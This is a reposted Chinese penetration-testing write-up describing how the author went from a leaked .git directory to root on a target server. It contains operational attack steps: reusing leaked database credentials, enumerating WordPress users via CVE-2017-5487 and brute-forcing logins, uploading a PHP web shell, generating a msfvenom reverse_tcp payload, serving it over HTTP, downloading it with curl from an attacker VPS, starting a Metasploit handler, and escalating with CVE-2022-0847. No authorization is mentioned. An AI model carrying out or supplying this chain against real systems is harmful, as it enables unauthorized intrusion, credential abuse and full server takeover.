记一次从Git原码泄露到Get到目标服务器root权限

admin 2023年12月25日22:10:25评论39 views字数 2348阅读7分49秒阅读模式

0x01前言

测试的时候可以多输入.git、config.js、robot.txt等看看有没有信息泄露。

开局一个git泄露 https://a.com/.git/ 姑且称它为A域名吧。

记一次从Git原码泄露到Get到目标服务器root权限

没多少文件。不过泄露了数据库账号密码Config.php

Name:123 Pass:123 注:这里只是自己写了个123 123 代替。真实密码和相关公司有关联。

数据库中有几个url。和后台地址。起初以为是一起的资产。这里使我走了不少弯路。浪费不少时间

拿到数据库账号密码,第一时间想到的是直接去撞后台的admin密码。因为之前有个项目就是。拿到数据库账号密码。中间隔了好几天完全没思路。后面才想到去尝试下。登录后台!结果还成功了。

记一次从Git原码泄露到Get到目标服务器root权限

但是,这次没有这么幸运了。a.com/admin 数据库的密码。不对。登录不了后台。子域名扫出来一个admin.a.com/  反手一个admin Admin数据库密码进去了。

记一次从Git原码泄露到Get到目标服务器root权限

后续找到这套系统后台getshell的方式

参考链接:

https://mp.weixin.qq.com/s/MmmPr1MqA2ZFOGKeS-l3kg

 

但是,但是,我失败了。并且admin/auth/extensions插件上传目录的给我搞坏了,访问进去就是报错。我可是按照。文章的思路一步一步的走的。这里思路死掉了。拿不到shell。中间断断续续的过了好几天。然后,我又把目标瞄准了。数据库配置文件里面的url域名B.com发现他是wordpress我这里搞了好久然后我就开始收集他用户名的漫长之旅,他存在。CVE-2017-5487  wp-json/wp/v2/users/收集到他的用户名后。进行爆破。把wp-json/wp/v2/users/ 内容全部copy到users.txt文件。

脚本如下

import re
def extract_name(text):    pattern = r'"name":"(.*?)"'    matches = re.findall(pattern, text)
    for match in matches:        decoded_name = match.encode('utf-8').decode('unicode-escape')        decoded_name = re.sub(r'/+', '/', decoded_name)  # 去除连续重复的斜杠        print(decoded_name)
# 读取文件内容with open('C:\Users\Administrator\Desktop\users.txt', 'r') as file:    file_contents = file.read()
extract_name(file_contents)

    得到了用户名。然后加了常规的弱口令字典。和数据库密码去爆破

但是,没爆破出来!很尴尬。又浪费时间。后续找了一个wordpress 爆破工具遍历CVE-2017-5487泄露的用户名。成功爆破出来,密码。确实是数据库的密码,但是用户名我之前的字典没有。

记一次从Git原码泄露到Get到目标服务器root权限

这里为啥自己收集的用户名没有爆破出来。

这里有个误区

记一次从Git原码泄露到Get到目标服务器root权限

RA这个用户之前在wp-json/wp/v2/users/ 确实存在过。

RA是他的昵称。User才是他的登录用户名。

刚好工具的字典就自带user给我撞上了。

User 用户,想着肯定权限不高。

但是,进去后发现就是管理员权限。

记一次从Git原码泄露到Get到目标服务器root权限

Wordpress的程序只要能上传主题和插件。

直接在主题或者插件的地方上传php文件就好了。然后直接去媒体哪里查看路径就好了。

https://www.b.com/wp-content/uploads/2023/02/shell.php

获取到了b.com的shell了。

B域名下面。3个子域都存在这个账号和密码。

但是,我又在想。不对呀。我的目标是a.com的。

这时候我才想起去查看同服务器旁站。

A域名查询

4个域名。其中a域名就在里面。B域名的3个子域名在一起。

直接上面的账号密码。登录到后台。Getshell

记一次从Git原码泄露到Get到目标服务器root权限

权限不高,而且还垮不了目录。我就想着提权

https://github.com/The-Z-Labs/linux-exploit-suggestercurl https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh%20-O%20les.sh./les.sh

记一次从Git原码泄露到Get到目标服务器root权限

直接上msf

我服务器就是kali linux 不存在什么代理到公网了。

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=you_vps_ip LPORT=2222 -f elf > ./shell.elf

生成Linux的马。直接python开启个http服务

python -m http.server 8001

webshell执行远程下载

curl -o shell.elf http://you_vps_ip:8001/shell.elf

kali linux 启动

msfconsoleuse exploit/multi/handlerset payload linux/x64/meterpreter/reverse_tcpset lhost vps_ipset lport 2222run

记一次从Git原码泄露到Get到目标服务器root权限

直接这个Cve-2022-0847 刚才linux-exploit-suggester 扫出来的。

记一次从Git原码泄露到Get到目标服务器root权限

记一次从Git原码泄露到Get到目标服务器root权限

成功get到目标服务器root权限

0x02总结

就感觉才开始从撞密码到拿权限的时候,走了不少弯路,Admin.a 域名这个系统,拿下shell了,也不是目标域名,还是得细心细心,才能有收获。

 

结尾
 


 

原文始发于微信公众号(渗透安全HackTwo):记一次从Git原码泄露到Get到目标服务器root权限

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月25日22:10:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次从Git原码泄露到Get到目标服务器root权限https://cn-sec.com/archives/2333520.html

发表评论

匿名网友 填写信息